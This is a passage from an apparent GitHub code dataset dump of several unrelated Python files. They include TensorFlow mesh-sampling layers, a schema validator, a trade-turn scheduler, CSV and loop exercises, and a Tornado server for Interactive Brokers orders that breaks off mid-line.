tf.shape(img)[1]\r\n W = tf.shape(img)[2]\r\n C = tf.shape(img)[-1]\r\n\r\n max_y = tf.cast(H - 1, 'int32')\r\n max_x = tf.cast(W - 1, 'int32')\r\n zero = tf.zeros([], dtype='int32')\r\n\r\n # cast indices as float32 (for rescaling)\r\n x = tf.cast(x, 'float32')\r\n y = tf.cast(y, 'float32')\r\n\r\n # rescale x and y to [0, W/H]\r\n # x = 0.5 * ((x + 1.0) * tf.cast(W, 'float32'))\r\n # y = 0.5 * ((y + 1.0) * tf.cast(H, 'float32'))\r\n\r\n # grab 4 nearest corner points for each (x_i, y_i)\r\n # i.e. we need a rectangle around the point of interest\r\n x0 = tf.cast(tf.floor(x), 'int32')\r\n x1 = x0 + 1\r\n y0 = tf.cast(tf.floor(y), 'int32')\r\n y1 = y0 + 1\r\n\r\n # clip to range [0, H/W] to not violate img boundaries\r\n x0 = tf.clip_by_value(x0, zero, max_x)\r\n x1 = tf.clip_by_value(x1, zero, max_x)\r\n y0 = tf.clip_by_value(y0, zero, max_y)\r\n y1 = tf.clip_by_value(y1, zero, max_y)\r\n\r\n # get pixel value at corner coords\r\n Ia = get_value(img, x0, y0)\r\n Ib = get_value(img, x0, y1)\r\n Ic = get_value(img, x1, y0)\r\n Id = get_value(img, x1, y1)\r\n\r\n # recast as float for delta calculation\r\n x0 = tf.cast(x0, 'float32')\r\n x1 = tf.cast(x1, 'float32')\r\n y0 = tf.cast(y0, 'float32')\r\n y1 = tf.cast(y1, 'float32')\r\n\r\n # calculate deltas\r\n wa = (x1 - x) * (y1 - y)\r\n wb = (x1 - x) * (y - y0)\r\n wc = (x - x0) * (y1 - y)\r\n wd = (x - x0) * (y - y0)\r\n\r\n # add dimension for addition\r\n \"\"\"\r\n wa = tf.expand_dims(wa, axis=3)\r\n wb = tf.expand_dims(wb, axis=3)\r\n wc = tf.expand_dims(wc, axis=3)\r\n wd = tf.expand_dims(wd, axis=3)\r\n \"\"\"\r\n\r\n if K.ndim(img) == 5 and K.ndim(x) == 3:\r\n wa = tf.expand_dims(wa, axis=-1)\r\n wb = tf.expand_dims(wb, axis=-1)\r\n wc = tf.expand_dims(wc, axis=-1)\r\n wd = tf.expand_dims(wd, axis=-1)\r\n\r\n wa = K.repeat_elements(wa, rep=ndirs, axis=-1)\r\n wb = K.repeat_elements(wb, rep=ndirs, axis=-1)\r\n wc = K.repeat_elements(wc, rep=ndirs, axis=-1)\r\n wd = K.repeat_elements(wd, rep=ndirs, axis=-1)\r\n\r\n wa = tf.expand_dims(wa, axis=-1)\r\n wb = tf.expand_dims(wb, axis=-1)\r\n wc = tf.expand_dims(wc, axis=-1)\r\n wd = tf.expand_dims(wd, axis=-1)\r\n\r\n # compute output\r\n out = tf.add_n([wa * Ia, wb * Ib, wc * Ic, wd * Id])\r\n\r\n return out\r\n\r\n\r\nclass ImageSampling(Layer):\r\n\r\n def __init__(self, nbatch, uv=None, **kwargs):\r\n self.fixed = False\r\n self.nv = 0\r\n self.nbatch = nbatch\r\n if uv is not None:\r\n x = uv[:, 0]\r\n x = np.expand_dims(x, axis=0)\r\n x = np.repeat(x, repeats=self.nbatch, axis=0)\r\n y = uv[:, 1]\r\n y = np.expand_dims(y, axis=0)\r\n y = np.repeat(y, repeats=self.nbatch, axis=0)\r\n self.nv = np.shape(x)[1]\r\n self.x = tf.convert_to_tensor(x, dtype=tf.float32)\r\n self.y = tf.convert_to_tensor(y, dtype=tf.float32)\r\n self.fixed = True\r\n super(ImageSampling, self).__init__(**kwargs)\r\n\r\n def build(self, input_shape):\r\n super(ImageSampling, self).build(input_shape) # Be sure to call this somewhere!\r\n\r\n def call(self, inputs):\r\n if self.fixed:\r\n img = inputs\r\n return bilinear_sampler(img, self.x, self.y, 0, 0)\r\n else:\r\n img = inputs[0]\r\n uv = inputs[1]\r\n x = uv[:, :, 0]\r\n y = uv[:, :, 1]\r\n return bilinear_sampler(img, x, y, 0, 0)\r\n\r\n def compute_output_shape(self, input_shape):\r\n if self.fixed:\r\n return (input_shape[0], self.nv, input_shape[-1])\r\n else:\r\n return (input_shape[0][0], input_shape[0][1], input_shape[0][-1])\r\n\r\n\r\ndef window_interpolation_sync___(inputs, contributors, weights, angles):\r\n # max pooling\r\n shape = tf.shape(inputs)\r\n C = shape[-1]\r\n B = shape[0]\r\n nv = shape[1]\r\n ndirs = shape[2]\r\n nrings = tf.shape(contributors)[2]\r\n\r\n a = tf.multiply(angles, tf.multiply(tf.cast(ndirs, 'float32'), (1./(2.*np.pi))))\r\n a = tf.floor(a)\r\n a = tf.cast(a, 'int32')\r\n\r\n dir_idx = tf.range(0, ndirs)\r\n dir_idx = tf.expand_dims(dir_idx, axis=-1)\r\n a = tf.add(a, dir_idx)\r\n a = tf.mod(a, ndirs)\r\n\r\n batch_idx = tf.range(0, B)\r\n batch_idx = tf.reshape(batch_idx, (B, 1, 1, 1, 1))\r\n b = tf.tile(batch_idx, (1, nv, nrings, ndirs, 3))\r\n indices = tf.stack([b, contributors, a], -1)\r\n\r\n W = tf.gather_nd(inputs, indices)\r\n W = tf.reduce_max(W, axis=4)\r\n\r\n return W\r\n\r\n\r\ndef window_interpolation(inputs, contributors, weights, angles):\r\n # full interpolation\r\n shape = tf.shape(inputs)\r\n C = shape[-1]\r\n B = shape[0]\r\n nv = shape[1]\r\n ndirs = shape[2]\r\n nrings = tf.shape(contributors)[2]\r\n\r\n a = tf.multiply(angles, tf.multiply(tf.cast(ndirs, 'float32'), (1. / (2. * np.pi))))\r\n\r\n a0 = tf.floor(a)\r\n aw1 = a - a0\r\n aw0 = -aw1 + 1.\r\n\r\n a0 = tf.cast(a0, 'int32')\r\n a1 = a0 + 1\r\n\r\n dir_idx = tf.range(0, ndirs)\r\n dir_idx = tf.expand_dims(dir_idx, axis=-1)\r\n a0 = tf.add(a0, dir_idx)\r\n a1 = tf.add(a1, dir_idx)\r\n a0 = tf.mod(a0, ndirs)\r\n a1 = tf.mod(a1, ndirs)\r\n\r\n batch_idx = tf.range(0, B)\r\n batch_idx = tf.reshape(batch_idx, (B, 1, 1, 1, 1))\r\n b = tf.tile(batch_idx, (1, nv, nrings, ndirs, 3))\r\n indices0 = tf.stack([b, contributors, a0], -1)\r\n indices1 = tf.stack([b, contributors, a1], -1)\r\n\r\n W0 = tf.gather_nd(inputs, indices0)\r\n W1 = tf.gather_nd(inputs, indices1)\r\n\r\n aw0 = tf.expand_dims(aw0, axis=-1)\r\n aw1 = tf.expand_dims(aw1, axis=-1)\r\n W = tf.multiply(W0, aw0) + tf.multiply(W1, aw1)\r\n weights = tf.expand_dims(weights, axis=-1)\r\n W = tf.multiply(W, weights)\r\n W = tf.reduce_sum(W, axis=4)\r\n return W\r\n\r\n\r\ndef window_interpolation_sync(inputs, contributors, weights, angles):\r\n return window_interpolation(inputs, contributors, weights, angles)\r\n\r\n\r\ndef window_interpolation_sync_(inputs, contributors, weights, angles):\r\n # directional interpolation\r\n shape = tf.shape(inputs)\r\n C = shape[-1]\r\n B = shape[0]\r\n nv = shape[1]\r\n ndirs = shape[2]\r\n nrings = tf.shape(contributors)[2]\r\n\r\n a = tf.multiply(angles[:, :, :, :, 0], tf.multiply(tf.cast(ndirs, 'float32'), (1./(2.*np.pi))))\r\n\r\n a0 = tf.floor(a)\r\n aw1 = a - a0\r\n aw0 = -aw1 + 1.\r\n\r\n a0 = tf.cast(a0, 'int32')\r\n a1 = a0 + 1\r\n\r\n dir_idx = tf.range(0, ndirs)\r\n a0 = tf.add(a0, dir_idx)\r\n a1 = tf.add(a1, dir_idx)\r\n a0 = tf.mod(a0, ndirs)\r\n a1 = tf.mod(a1, ndirs)\r\n\r\n batch_idx = tf.range(0, B)\r\n batch_idx = tf.reshape(batch_idx, (B, 1, 1, 1))\r\n b = tf.tile(batch_idx, (1, nv, nrings, ndirs))\r\n c = contributors[:, :, :, :, 0]\r\n indices0 = tf.stack([b, c, a0], -1)\r\n indices1 = tf.stack([b, c, a1], -1)\r\n\r\n W0 = tf.gather_nd(inputs, indices0)\r\n W1 = tf.gather_nd(inputs, indices1)\r\n\r\n aw0 = tf.expand_dims(aw0, axis=-1)\r\n aw1 = tf.expand_dims(aw1, axis=-1)\r\n W = tf.multiply(W0, aw0) + tf.multiply(W1, aw1)\r\n return W\r\n\r\n\r\ndef window_interpolation_sync_u(inputs, contributors, weights, angles):\r\n # NN interpolation\r\n shape = tf.shape(inputs)\r\n C = shape[-1]\r\n B = shape[0]\r\n nv = shape[1]\r\n ndirs = shape[2]\r\n nrings = tf.shape(contributors)[2]\r\n\r\n c = contributors[:, :, :, :, 0]\r\n\r\n a = angles[:, :, :, :, 0]\r\n a = tf.multiply(a, tf.multiply(tf.cast(ndirs, 'float32'), (1./(2.*np.pi))))\r\n a = tf.cast(a, 'int32')\r\n\r\n dir_idx = tf.range(0, ndirs)\r\n a = tf.add(a, dir_idx)\r\n a = tf.mod(a, ndirs)\r\n\r\n batch_idx = tf.range(0, B)\r\n batch_idx = tf.reshape(batch_idx, (B, 1, 1, 1))\r\n b = tf.tile(batch_idx, (1, nv, nrings, ndirs))\r\n indices = tf.stack([b, c, a], -1)\r\n\r\n W = tf.gather_nd(inputs, indices)\r\n return W\r\n\r\n\r\ndef window_interpolation_async(inputs, contributors, weights):\r\n\r\n shape = tf.shape(inputs)\r\n C = shape[-1]\r\n B = shape[0]\r\n nv = shape[1]\r\n nrings = tf.shape(contributors)[2]\r\n ndirs = tf.shape(contributors)[3]\r\n\r\n batch_idx = tf.range(0, B)\r\n batch_idx = tf.reshape(batch_idx, (B, 1, 1, 1, 1))\r\n b = tf.tile(batch_idx, (1, nv, nrings, ndirs, 3))\r\n indices = tf.stack([b, contributors], -1)\r\n\r\n W = tf.gather_nd(inputs, indices)\r\n\r\n weights = tf.expand_dims(weights, axis=-1)\r\n W = tf.multiply(W, weights)\r\n W = tf.reduce_sum(W, axis=4)\r\n return W\r\n\r\n\r\ndef downsample_mesh_sync(inputs, parents, angular_shifts):\r\n shape = tf.shape(inputs)\r\n C = shape[-1]\r\n B = shape[0]\r\n new_nv = tf.shape(parents)[1]\r\n ndirs = shape[2]\r\n\r\n p = tf.expand_dims(parents, axis=-1)\r\n p = tf.tile(p, (1, 1, ndirs))\r\n\r\n a = tf.multiply(angular_shifts, tf.multiply(tf.cast(ndirs, 'float32'), (1. / (2. * np.pi))))\r\n a = tf.expand_dims(a, axis=-1)\r\n a = tf.tile(a, (1, 1, ndirs))\r\n\r\n a0 = tf.floor(a)\r\n aw1 = a - a0\r\n aw0 = -aw1 + 1.\r\n\r\n a0 = tf.cast(a0, 'int32')\r\n a1 = a0 + 1\r\n\r\n dir_idx = tf.range(0, ndirs)\r\n # dir_idx = tf.expand_dims(dir_idx, axis=-1)\r\n a0 = tf.add(a0, dir_idx)\r\n a1 = tf.add(a1, dir_idx)\r\n a0 = tf.mod(a0, ndirs)\r\n a1 = tf.mod(a1, ndirs)\r\n\r\n batch_idx = tf.range(0, B)\r\n batch_idx = tf.reshape(batch_idx, (B, 1, 1))\r\n b = tf.tile(batch_idx, (1, new_nv, ndirs))\r\n indices0 = tf.stack([b, p, a0], -1)\r\n indices1 = tf.stack([b, p, a1], -1)\r\n\r\n out0 = tf.gather_nd(inputs, indices0)\r\n out1 = tf.gather_nd(inputs, indices1)\r\n\r\n aw0 = tf.expand_dims(aw0, axis=-1)\r\n aw1 = tf.expand_dims(aw1, axis=-1)\r\n\r\n out = tf.multiply(out0, aw0) + tf.multiply(out1, aw1)\r\n return out\r\n\r\n\r\ndef downsample_mesh_synco(inputs, parents, angular_shifts):\r\n shape = tf.shape(inputs)\r\n C = shape[-1]\r\n B = shape[0]\r\n new_nv = tf.shape(parents)[1]\r\n ndirs = shape[2]\r\n\r\n p = tf.expand_dims(parents, axis=-1)\r\n p = tf.tile(p, (1, 1, ndirs))\r\n\r\n a = tf.multiply(angular_shifts, tf.multiply(tf.cast(ndirs, 'float32'), (1. / (2. * np.pi))))\r\n a = tf.expand_dims(a, axis=-1)\r\n a = tf.tile(a, (1, 1, ndirs))\r\n\r\n a = tf.cast(a, 'int32')\r\n\r\n dir_idx = tf.range(0, ndirs)\r\n # dir_idx = tf.expand_dims(dir_idx, axis=-1)\r\n a = tf.add(a, dir_idx)\r\n a = tf.mod(a, ndirs)\r\n\r\n batch_idx = tf.range(0, B)\r\n batch_idx = tf.reshape(batch_idx, (B, 1, 1))\r\n b = tf.tile(batch_idx, (1, new_nv, ndirs))\r\n indices = tf.stack([b, p, a], -1)\r\n\r\n out = tf.gather_nd(inputs, indices)\r\n return out\r\n\r\n\r\ndef downsample_mesh_async(inputs, parents):\r\n shape = tf.shape(inputs)\r\n C = shape[-1]\r\n B = shape[0]\r\n new_nv = tf.shape(parents)[1]\r\n\r\n batch_idx = tf.range(0, B)\r\n batch_idx = tf.reshape(batch_idx, (B, 1))\r\n b = tf.tile(batch_idx, (1, new_nv))\r\n indices = tf.stack([b, parents], -1)\r\n\r\n out = tf.gather_nd(inputs, indices)\r\n\r\n return out\r\n\r\n\r\ndef upsample_mesh_async(inputs, parents, new_nv):\r\n shape = tf.shape(inputs)\r\n C = shape[-1]\r\n B = shape[0]\r\n old_nv = shape[1]\r\n\r\n batch_idx = tf.range(0, B)\r\n batch_idx = tf.reshape(batch_idx, (B, 1))\r\n b = tf.tile(batch_idx, (1, old_nv))\r\n indices = tf.stack([b, parents], -1)\r\n shape = tf.stack([B, new_nv, C])\r\n out = tf.scatter_nd(indices=indices, updates=inputs, shape=shape)\r\n return out\r\n\r\n\r\ndef upsample_mesh_sync(inputs, parents, angular_shifts, new_nv, new_ndirs):\r\n shape = tf.shape(inputs)\r\n C = shape[-1]\r\n B = shape[0]\r\n old_nv = shape[1]\r\n ndirs = new_ndirs\r\n\r\n p = tf.expand_dims(parents, axis=-1)\r\n p = tf.tile(p, (1, 1, ndirs))\r\n\r\n a = tf.multiply(angular_shifts, tf.multiply(tf.cast(ndirs, 'float32'), (-1. / (2. * np.pi))))\r\n a = tf.expand_dims(a, axis=-1)\r\n a = tf.tile(a, (1, 1, ndirs))\r\n\r\n a0 = tf.floor(a)\r\n aw1 = a - a0\r\n aw0 = -aw1 + 1.\r\n\r\n a0 = tf.cast(a0, 'int32')\r\n a1 = a0 + 1\r\n\r\n dir_idx = tf.range(0, ndirs)\r\n # dir_idx = tf.expand_dims(dir_idx, axis=-1)\r\n a0 = tf.add(a0, dir_idx)\r\n a1 = tf.add(a1, dir_idx)\r\n a0 = tf.mod(a0, ndirs)\r\n a1 = tf.mod(a1, ndirs)\r\n\r\n batch_idx = tf.range(0, B)\r\n batch_idx = tf.reshape(batch_idx, (B, 1, 1))\r\n b = tf.tile(batch_idx, (1, old_nv, ndirs))\r\n indices0 = tf.stack([b, p, a0], -1)\r\n indices1 = tf.stack([b, p, a1], -1)\r\n\r\n print(B)\r\n print(new_nv)\r\n print(C)\r\n print(K.ndim(B))\r\n print(K.ndim(C))\r\n print(K.ndim(shape))\r\n print(K.shape(parents))\r\n shape = tf.stack([B, new_nv, new_ndirs, C])\r\n\r\n out0 = tf.scatter_nd(indices=indices0, updates=inputs, shape=shape)\r\n out1 = tf.scatter_nd(indices=indices1, updates=inputs, shape=shape)\r\n\r\n shape = tf.stack([B, new_nv, new_ndirs])\r\n aw0 = tf.scatter_nd(indices=indices0, updates=aw0, shape=shape)\r\n aw1 = tf.scatter_nd(indices=indices1, updates=aw1, shape=shape)\r\n\r\n aw0 = tf.expand_dims(aw0, axis=-1)\r\n aw1 = tf.expand_dims(aw1, axis=-1)\r\n\r\n out = tf.multiply(out0, aw0) + tf.multiply(out1, aw1)\r\n return out","repo_name":"adrienPoulenard/MDGCNN","sub_path":"MDGCNN/sampling.py","file_name":"sampling.py","file_ext":"py","file_size_in_byte":15922,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"2"} +{"seq_id":"16070404785","text":"#!/usr/bin/python3\n\"\"\"\n Summary\n -------\n Validate parameter description files using a json schema file.\n\n Command line arguments\n ----------------------\n file_name (str)\n input file to be validated\n schema (str)\n schema file (jsonschema format) used for validation\n\n Example\n -------\n\n .. code-block:: console\n\n simtools-validate-schema-file \\\n --file_name tests/resources/MST_mirror_2f_measurements.schema.yml \\\n --schema jsonschema.yml\n\n\"\"\"\n\nimport logging\nfrom pathlib import Path\n\nimport jsonschema\nimport yaml\n\nimport simtools.utils.general as gen\nfrom simtools.configuration import configurator\n\n\ndef _parse(label, description):\n \"\"\"\n Parse command line configuration\n\n Parameters\n ----------\n label (str)\n application label\n description (str)\n application description\n\n Returns\n -------\n config (Configurator)\n application configuration\n\n \"\"\"\n\n config = configurator.Configurator(label=label, description=description)\n config.parser.add_argument(\"--file_name\", help=\"file to be validated\", required=True)\n config.parser.add_argument(\"--schema\", help=\"json schema file\", required=True)\n return config.initialize()\n\n\ndef load_schema(schema_file):\n \"\"\"\n Load parameter schema from file.\n\n Parameters\n ----------\n schema_file (str)\n schema file\n\n Returns\n -------\n parameter_schema (dict)\n parameter schema\n\n Raises\n ------\n FileNotFoundError\n if schema file is not found\n\n \"\"\"\n\n try:\n with open(schema_file, \"r\", encoding=\"utf-8\") as file:\n parameter_schema = yaml.safe_load(file)\n except FileNotFoundError:\n logging.error(f\"Schema file {schema_file} not found\")\n raise\n\n return parameter_schema\n\n\ndef validate_schema_file(input_file, schema, logger):\n \"\"\"\n Validate parameter file against schema.\n\n Parameters\n ----------\n input_file (str)\n input file to be validated\n schema (dict)\n schema used for validation\n\n Raises\n ------\n FileNotFoundError\n if input file is not found\n\n \"\"\"\n\n try:\n with open(input_file, \"r\", encoding=\"utf-8\") as file:\n data = yaml.safe_load(file)\n except FileNotFoundError:\n logger.error(f\"Input file {input_file} not found\")\n raise\n\n try:\n jsonschema.validate(data, schema=schema)\n except jsonschema.exceptions.ValidationError:\n logger.error(f\"Schema validation failed for {input_file} using {schema}\")\n raise\n\n logger.info(f\"Schema validation successful for {input_file}\")\n\n\ndef main():\n label = Path(__file__).stem\n args_dict, _ = _parse(label, description=\"Parameter file schema checking\")\n\n logger = logging.getLogger()\n logger.setLevel(gen.get_log_level_from_user(args_dict[\"log_level\"]))\n\n validate_schema_file(args_dict[\"file_name\"], load_schema(args_dict[\"schema\"]), logger)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"gammasim/simtools","sub_path":"simtools/applications/validate_schema_files.py","file_name":"validate_schema_files.py","file_ext":"py","file_size_in_byte":3013,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"2"} +{"seq_id":"9025727705","text":"import sys, getopt\nfrom datetime import date, datetime\nfrom cmbarter.settings import CMBARTER_DSN\nfrom cmbarter.modules import curiousorm\n\n\nUSAGE = \"\"\"Usage: schedule_turns.py NEXT_TURN_TIME [OPTIONS]\nSet trading turns' time and period.\n\n -h, --help display this help and exit\n --period=HOUSRS set the period between turns in hours (default: 24)\n --dsn=DSN give explicitly the database source name\n\nExamples:\n $ ./schedule_turns.py 2:30\n $ ./schedule_turns.py 2013-02-10T12:25:30 --period=0.01\n\"\"\"\n\n\ndef parse_args(argv):\n global time, dsn, period_seconds\n try: \n opts, args = getopt.gnu_getopt(argv, 'h', ['period=', 'dsn=', 'help'])\n except getopt.GetoptError:\n print(USAGE)\n sys.exit(2)\n\n if len(args) != 1:\n print(USAGE)\n sys.exit(2)\n\n # Construct the time-string from the passed argument:\n time_str = args[0]\n if not 'T' in time_str:\n time_str = '%sT%s' % (date.today().isoformat(), time_str)\n\n # Parse the time-string:\n for fmt in ['%Y-%m-%dT%H:%M', '%Y-%m-%dT%H:%M:%S']:\n try:\n time = datetime.strptime(time_str, fmt)\n except ValueError:\n continue\n else:\n break\n else:\n print(USAGE)\n sys.exit(2)\n\n for opt, arg in opts:\n if opt in ('-h', '--help'):\n print(USAGE)\n sys.exit()\n elif opt == '--period':\n try:\n period_seconds = int(3600 * float(arg))\n if period_seconds < 1:\n raise ValueError\n except ValueError:\n print(USAGE)\n sys.exit(2) \n elif opt == '--dsn':\n dsn = arg\n\n\nif __name__ == \"__main__\":\n dsn = CMBARTER_DSN\n period_seconds = 24 * 60 * 60\n parse_args(sys.argv[1:])\n\n db = curiousorm.Connection(dsn, dictrows=True)\n db.update_solver_schedule(time, period_seconds)\n db.close()\n","repo_name":"epandurski/cmbarter","sub_path":"schedule_turns.py","file_name":"schedule_turns.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"2"} +{"seq_id":"41648503818","text":"'''\r\nfor\r\nwhile\r\nnested loop\r\n'''\r\n'''\r\nfor count,i in enumerate(range(1,10,2)):\r\n print(count,i)\r\n\r\ndata=[1,2,3,4,5,6,7,8,9,10]\r\n\r\nfor j in data:\r\n print(j)\r\n '''\r\n'''\r\ndata2=(\"apple\",\"cat\",\"jaya\",\"pavan\")\r\nfor index,name in enumerate(data2):\r\n print(index,name)\r\n'''\r\n'''\r\ndata3=\"hi welcome to python\"\r\nfor index,letter in enumerate(data3):\r\n print(index,letter)\r\n'''\r\n#while loop\r\ncount=0\r\nwhile count<10:\r\n count=count+1\r\n print(\"hello\")\r\n","repo_name":"vanganuruRAMA/python_programing","sub_path":"loop/loops_.py","file_name":"loops_.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"71372685807","text":"# -*- coding: utf-8 -*-\n\nimport csv\nimport sys\n# 입력 파일을 첫번째 인자로 받는다.\ninput_file = sys.argv[1]\n# 출력 파일을 두번쨰 인자로 받는다.\noutput_file = sys.argv[2]\n# 특정한 값을 추출하기 위한 값들의 배열\nmy_columns = [\"Invoice Number\", \"Purchase Date\"]\n# 특정한 값의 위치를 추출하기 위한 index 배열\nmy_column_index = []\n# 입력파일을 읽기 모드로 열고, csv_in_file로 변수 선언\nwith open(input_file, 'rt', newline='') as csv_in_file:\n # 출력파일을 쓰기 모드로 열고, csv_out_file로 변수 선언\n with open(output_file, 'wt', newline='') as csv_out_file:\n # 파일을 csv형태인 것을 알려주고, 구분자는 쉼표로 설정하여 읽어온다고 설정\n filereader = csv.reader(csv_in_file, delimiter=\",\")\n # 파일을 csv형태인 것을 알려주고, 구분자는 쉼표로 설정하여 쓴다고 설정\n filewriter = csv.writer(csv_out_file, delimiter=\",\")\n # 첫줄을 읽어오기\n header = next(filereader)\n # 첫줄의 구분자로 나누어진 배열 요소만큼 반복\n for index_value in range(len(header)):\n # 특정값이 정해져 있는 배열의 값이 첫줄에 있으면\n if header[index_value] in my_columns:\n # my_column_index에 값을 추가\n my_column_index.append(index_value)\n # 파일 첫 한줄을 특정값을 쓰기\n filewriter.writerow(my_columns)\n # 파일을 다 읽을 때까지 반복\n for row_list in filereader:\n # 특정 값을 추출하기 위한 배열\n row_list_output = []\n # 파일의 한줄에 원하는 특정 값 요소가 있을 경우\n # (if문을 안 쓰는 이유 반복을 하면서 특정값을 증가 시켜서 조건이 맞는지 확인을 해야하지만, 이와 같은 형태로 할 경우 자동으로 된다?)\n for index_value in my_column_index:\n # 특정 조건에 해당되는 값을 row_list_output이라는 배열에 추가한다.\n row_list_output.append(row_list[index_value])\n # 파일에 출력할 값을 쓴다.\n filewriter.writerow(row_list_output)\n # 확인을 위한 출력\n print(row_list_output)","repo_name":"doukheeWon-gmail/foundation_data_analytics_with_python","sub_path":"books/Foundations_for_Analytics_with_Python/chapter02/12.certaion_read_header_csv/7csv_reader_column_by_name.py","file_name":"7csv_reader_column_by_name.py","file_ext":"py","file_size_in_byte":2337,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"23062397874","text":"import os\nimport tornado.httpserver\nimport tornado.ioloop\nimport tornado.options\nimport tornado.web\nimport ib_insync as ib\nimport pandas as pd\nimport json as json\nimport sqlite3 as sqlite3\nfrom tornado.options import define, options\nfrom datetime import datetime, timedelta, date\n\ndefine(\"ib_host\", default='127.0.0.1', help=\"host\", type=str)\ndefine(\"ib_port\", default=4002, help=\"port\", type=int)\ndefine(\"ib_client\", default=1, help=\"client id\", type=int)\ndefine(\"ib_timeout\", default=5000, help=\"timeout\", type=int)\ndefine(\"web_port\", default=84, help=\"run on the given port\", type=int)\n\npath_db = os.path.abspath(os.path.join('data', 'ib', 'ib.db'))\n\nconn = ib.IB()\nconn.connect(options.ib_host, port=options.ib_port, clientId=options.ib_client, timeout=options.ib_timeout)\n\n\nclass Application(tornado.web.Application):\n def __init__(self):\n handlers = [\n # index\n (r\"/\", MainHandler),\n # view\n (r\"/show-account-info\", ShowAccountInfo),\n (r\"/list-positions\", ListPositions),\n (r\"/list-orders\", ListOrders),\n (r\"/list-trades\", ListTrades),\n (r\"/list-commission\", ListCommission),\n # action\n (r\"/place-limit-order\", PlaceLimitOrder),\n (r\"/place-market-order\", PlaceMarketOrder),\n ]\n settings = dict(\n template_path=os.path.join(os.path.abspath('data'), 'templates', 'ib'),\n static_path=os.path.join(os.path.abspath('data'), 'templates', 'static'),\n static_url_prefix='/templates/static/',\n debug=False\n )\n super().__init__(handlers, **settings)\n\n\nclass MainHandler(tornado.web.RequestHandler):\n def get(self):\n self.render(\"index.html\")\n\n\nclass ShowAccountInfo(tornado.web.RequestHandler):\n def get(self):\n data = [v for v in conn.accountValues() if v.tag == 'NetLiquidationByCurrency' and v.currency == 'BASE'][0]\n data2 = {\n 'account': data.account,\n 'value': data.value,\n 'tag': data.tag,\n 'currency': data.currency,\n 'modelCode': data.modelCode\n }\n self.write(json.dumps(data2))\n\n\nclass ListPositions(tornado.web.RequestHandler):\n def get(self):\n data = []\n for pos in conn.positions():\n data.append({\n 'account': pos.account,\n 'contract': {'conId': pos.contract.conId,\n 'symbol': pos.contract.symbol,\n 'lastTradeDateOrContractMonth': pos.contract.lastTradeDateOrContractMonth,\n 'multiplier': pos.contract.multiplier,\n 'currency': pos.contract.currency},\n 'position': pos.position,\n 'avgCost': pos.avgCost\n })\n self.write(json.dumps(data))\n\n\nclass ListOrders(tornado.web.RequestHandler):\n def get(self):\n data = []\n for order in conn.orders():\n data.append({\n 'account': order.account,\n 'permId': order.permId,\n 'refFuturesConId': order.refFuturesConId,\n 'action': order.action,\n 'orderType': order.orderType,\n 'filledQuantity': order.filledQuantity,\n 'lmtPrice': order.lmtPrice,\n 'trailStopPrice': order.trailStopPrice,\n 'trailStopPrice': order.trailStopPrice,\n 'parentPermId': order.parentPermId\n })\n # save db\n db = sqlite3.connect(path_db)\n cursor = db.cursor()\n df = pd.DataFrame(data=data)\n df['trailStopPrice'] = 0.0\n data2 = [v.values.tolist() for k, v in df.iterrows()]\n if data2:\n cursor.executemany(\"\"\"replace into ib_order (account, permId, refFuturesConId, action, orderType, \n filledQuantity, lmtPrice, trailStopPrice, parentPermId) values (?, ?, ?, ?, ?, ?, ?, ?, ?)\"\"\", data2)\n db.commit()\n cursor.close()\n db.close()\n #\n self.write(json.dumps(data))\n\n\nclass ListTrades(tornado.web.RequestHandler):\n def get(self):\n data = []\n for trade in conn.trades():\n if trade.fills:\n data.append({\n 'contract': {'conId': trade.fills[0].contract.conId,\n 'symbol': trade.fills[0].contract.symbol,\n 'localSymbol': trade.fills[0].contract.localSymbol,\n 'exchange': trade.fills[0].contract.exchange,\n 'currency': trade.fills[0].contract.currency,\n 'lastTradeDateOrContractMonth': trade.contract.lastTradeDateOrContractMonth},\n 'execution': {'execId': trade.fills[0].execution.execId,\n 'time': trade.fills[0].execution.time.strftime('%Y-%m-%d %H:%M:%S'),\n 'acctNumber': trade.fills[0].execution.acctNumber,\n 'exchange': trade.fills[0].execution.exchange,\n 'price': trade.fills[0].execution.price,\n 'permId': trade.fills[0].execution.permId,\n 'clientId': trade.fills[0].execution.clientId,\n 'orderId': trade.fills[0].execution.orderId},\n 'commissionReport': {'execId': trade.fills[0].commissionReport.execId,\n 'commission': trade.fills[0].commissionReport.commission,\n 'currency': trade.fills[0].commissionReport.currency}\n })\n # save db 1\n keys2 = []\n data2_2 = []\n for v in data:\n data2_1 = {}\n for k1, v1 in v.items():\n data2_1.update(v1)\n data2_2.append([v3 for k3, v3 in data2_1.items()])\n keys2 = list(data2_1.keys())\n keys2_2 = \", \".join(keys2)\n # save db 2\n db = sqlite3.connect(path_db)\n cursor = db.cursor()\n if keys2_2 and data2_2:\n cursor.executemany(\"replace into ib_trade (\"+keys2_2+\") values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\", data2_2)\n db.commit()\n cursor.close()\n db.close()\n #\n self.write(json.dumps(data))\n\n\nclass ListCommission(tornado.web.RequestHandler):\n def get(self):\n data = []\n for fill in conn.fills():\n data.append({\n 'execId': fill.commissionReport.execId,\n 'commission': fill.commissionReport.commission,\n 'currency': fill.commissionReport.currency\n })\n self.write(json.dumps(data))\n\n\nclass PlaceLimitOrder(tornado.web.RequestHandler):\n def get(self):\n data = {}\n for k, v in self.request.arguments.items():\n data[k] = v[0].decode(\"utf-8\")\n if 'side' not in data or 'quantity' not in data or 'price' not in data or 'symbol' not in data \\\n or 'exchange' not in data:\n self.write(json.dumps({'status': 'fail', 'params': {'side': 'buy/sell', 'quantity': 'int', 'price': 'float', 'symbol': 'NQ', 'exchange': 'GLOBEX'}}))\n elif not data['side'] == 'buy' and not data['side'] == 'sell':\n self.write(json.dumps({'status': 'fail', 'message': 'side must be buy or sell'}))\n elif int(data['quantity']) <= 0:\n self.write(json.dumps({'status': 'fail', 'message': 'quantity must be > 0'}))\n elif int(data['price']) <= 0:\n self.write(json.dumps({'status': 'fail', 'message': 'price must be > 0'}))\n else:\n order1 = ib.LimitOrder(data['side'].upper(), int(data['quantity']), 